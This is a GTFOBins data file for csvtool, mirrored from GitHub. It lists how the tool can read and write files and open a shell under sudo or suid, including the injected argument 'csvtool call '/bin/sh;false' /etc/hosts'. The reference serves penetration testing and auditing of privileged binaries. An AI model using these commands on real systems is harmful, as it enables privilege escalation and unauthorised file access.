1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/csvtool

33 lines
659 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
csvtool trim t /path/to/input-file
comment: |-
The file is actually parsed and manipulated as CSV.
contexts:
sudo:
suid:
unprivileged:
file-write:
- binary: false
code: |-
echo DATA >/path/to/temp-file
csvtool trim t /path/to/temp-file -o /path/to/output-file
comment: |-
The file is actually parsed and manipulated as CSV.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
csvtool call '/bin/sh;false' /etc/hosts
contexts:
sudo:
suid:
shell: true
unprivileged:
...